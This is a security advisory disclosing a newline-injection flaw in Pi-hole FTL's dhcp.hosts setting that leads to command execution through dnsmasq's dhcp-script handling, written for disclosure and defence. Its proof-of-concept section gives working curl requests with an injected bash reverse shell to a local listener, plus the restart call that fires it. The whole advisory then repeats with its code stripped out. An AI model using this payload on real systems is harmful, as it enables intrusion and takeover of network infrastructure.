Summary
Security Researcher Julio Ángel Ferrari (aka T0X1CX) discovered that the Pi-hole FTL engine contains a Remote Code Execution (RCE) vulnerability in the DHCP hosts configuration parameter (dhcp.hosts). This vulnerability allows an authenticated attacker to inject arbitrary dnsmasq configuration directives through newline characters, ultimately achieving command execution on the underlying system.
Details
When an administrator configures static DHCP host reservations through the Pi-hole API, the FTL server processes the dhcp.hosts configuration parameter and writes it directly to the dnsmasq configuration file. The value is validated using the validate_stub function, which performs no actual validation beyond basic type checking.
The file src/config/config.c defines the configuration item on lines 850-854:
conf->dhcp.hosts.k = "dhcp.hosts";
conf->dhcp.hosts.h = "Array of static DHCP hosts";
conf->dhcp.hosts.t = CONF_JSON_STRING_ARRAY;
conf->dhcp.hosts.f = FLAG_RESTART_FTL;
conf->dhcp.hosts.c = validate_stub; // Type-based checking + dnsmasq syntax checking
The validate_stub function in src/config/validator.c (lines 20-23) is defined as:
bool __attribute__((const)) validate_stub(union conf_value *val, const char *key, char err[VALIDATOR_ERRBUF_LEN])
{
return true;
}
This function unconditionally returns true without performing any validation on the input, allowing arbitrary content including newline characters to pass through.
The vulnerable code that writes the configuration to disk is located in src/config/dnsmasq_config.c on lines 710-721:
// Add per-host parameters
if(cJSON_GetArraySize(conf->dhcp.hosts.v.json) > 0)
{
fputs("# Per host parameters for the DHCP server\n", pihole_conf);
const int n = cJSON_GetArraySize(conf->dhcp.hosts.v.json);
for(int i = 0; i < n; i++)
{
cJSON *server = cJSON_GetArrayItem(conf->dhcp.hosts.v.json, i);
if(server != NULL && cJSON_IsString(server))
fprintf(pihole_conf, "dhcp-host=%s\n", server->valuestring);
}
fputs("\n", pihole_conf);
}
The fprintf function writes the user-supplied value directly to the dnsmasq configuration file without sanitizing newline characters. An attacker can exploit this by injecting \n characters followed by malicious dnsmasq directives.
Exploitation Technique
The attack leverages an alternative code path in dnsmasq where the dhcp-script directive is executed using popen() instead of execl(). According to research published at https://blog.nns.ee/2025/07/24/dnsmasq-injection-trick/, when the leasefile-ro option is enabled, dnsmasq passes the dhcp-script value to popen(), which invokes the shell to execute commands.
The relevant code in dnsmasq's src/lease.c (lines 179-187) demonstrates this behavior:
if (daemon->lease_change_command)
{
strcpy(daemon->dhcp_buff, daemon->lease_change_command);
strcat(daemon->dhcp_buff, " init");
leasestream = popen(daemon->dhcp_buff, "r");
}
By injecting both leasefile-ro and a malicious dhcp-script directive, an attacker can achieve arbitrary command execution when the DNS service restarts.
Attack Vector
An attacker sends a PATCH request to the /api/config endpoint with a malicious payload:
curl -X PATCH "http://pi.hole/api/config" \
-H "Content-Type: application/json" \
-H "sid: <session_id>" \
-d '{
"config": {
"dhcp": {
"hosts": ["00:11:22:33:44:55,192.168.1.100\nleasefile-ro\ndhcp-script=/malicious/command ||"]
}
}
}'
The injected payload contains:
- A valid DHCP host entry: 00:11:22:33:44:55,192.168.1.100
- A newline character followed by leasefile-ro to enable the popen() code path
- Another newline followed by dhcp-script=/malicious/command || to execute the command
- The || at the end ensures that arguments passed by dnsmasq to the script are ignored, allowing any command to execute cleanly.
When the DNS service restarts (either manually or via API), the malicious configuration is loaded and the command is executed.
PoC
Execute the following curl command to obtain a valid login session ID (SID).
curl -s -k -X POST "http://127.0.0.1/api/auth" -H "Content-Type: application/json" -d '{"password":"test"}
Once the SID has been obtained, execute the following command to inject the payload.
curl -X PATCH "http://127.0.0.1/api/config" \
-H "Content-Type: application/json" \
-H "sid: +sAaKiSy6CXdAZfKItV/9Q=" \
-d '{
"config": {
"dhcp": {
"hosts": ["00:11:22:33:44:55,192.168.1.100\nleasefile-ro\ndhcp-script=/bin/bash -c '"'"'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"'"'||"]
}
}
}'
Now execute the following command to restart the DNS Resolver, and you will receive an interactive session on your listener as the pihole user.
curl -k -X POST "http://127.0.0.1/api/action/restartdns" -H "sid: +sAaKiSy6CXdAZfKItV/9Q="
Additionally, an exploit has been developed for automated exploitation; I can attach it if required.
Impact
This vulnerability allows an authenticated attacker with access to the Pi-hole administrative interface to achieve Remote Code Execution (RCE) on the underlying system. Since Pi-hole typically runs with elevated privileges to manage network services, successful exploitation grants the attacker complete control over the server, enabling them to execute arbitrary system commands, install backdoors, exfiltrate sensitive data such as DNS query logs and network configuration, pivot to other systems on the network, or completely compromise the integrity and availability of the DNS infrastructure. In enterprise environments where Pi-hole serves as the primary DNS resolver, this could lead to widespread network disruption, DNS hijacking attacks, or serve as an initial foothold for lateral movement within the organization.
Summary
Security Researcher Julio Ángel Ferrari (aka T0X1CX) discovered that the Pi-hole FTL engine contains a Remote Code Execution (RCE) vulnerability in the DHCP hosts configuration parameter (dhcp.hosts). This vulnerability allows an authenticated attacker to inject arbitrary dnsmasq configuration directives through newline characters, ultimately achieving command execution on the underlying system.
Details
When an administrator configures static DHCP host reservations through the Pi-hole API, the FTL server processes the dhcp.hosts configuration parameter and writes it directly to the dnsmasq configuration file. The value is validated using the validate_stub function, which performs no actual validation beyond basic type checking.
The file src/config/config.c defines the configuration item on lines 850-854:
The validate_stub function in src/config/validator.c (lines 20-23) is defined as:
This function unconditionally returns true without performing any validation on the input, allowing arbitrary content including newline characters to pass through.
The vulnerable code that writes the configuration to disk is located in src/config/dnsmasq_config.c on lines 710-721:
The fprintf function writes the user-supplied value directly to the dnsmasq configuration file without sanitizing newline characters. An attacker can exploit this by injecting \n characters followed by malicious dnsmasq directives.
Exploitation Technique
The attack leverages an alternative code path in dnsmasq where the dhcp-script directive is executed using popen() instead of execl(). According to research published at https://blog.nns.ee/2025/07/24/dnsmasq-injection-trick/, when the leasefile-ro option is enabled, dnsmasq passes the dhcp-script value to popen(), which invokes the shell to execute commands.
The relevant code in dnsmasq's src/lease.c (lines 179-187) demonstrates this behavior:
By injecting both leasefile-ro and a malicious dhcp-script directive, an attacker can achieve arbitrary command execution when the DNS service restarts.
Attack Vector
An attacker sends a PATCH request to the /api/config endpoint with a malicious payload:
The injected payload contains:
When the DNS service restarts (either manually or via API), the malicious configuration is loaded and the command is executed.
PoC
Execute the following curl command to obtain a valid login session ID (SID).
Once the SID has been obtained, execute the following command to inject the payload.
Now execute the following command to restart the DNS Resolver, and you will receive an interactive session on your listener as the pihole user.
Additionally, an exploit has been developed for automated exploitation; I can attach it if required.
Impact
This vulnerability allows an authenticated attacker with access to the Pi-hole administrative interface to achieve Remote Code Execution (RCE) on the underlying system. Since Pi-hole typically runs with elevated privileges to manage network services, successful exploitation grants the attacker complete control over the server, enabling them to execute arbitrary system commands, install backdoors, exfiltrate sensitive data such as DNS query logs and network configuration, pivot to other systems on the network, or completely compromise the integrity and availability of the DNS infrastructure. In enterprise environments where Pi-hole serves as the primary DNS resolver, this could lead to widespread network disruption, DNS hijacking attacks, or serve as an initial foothold for lateral movement within the organization.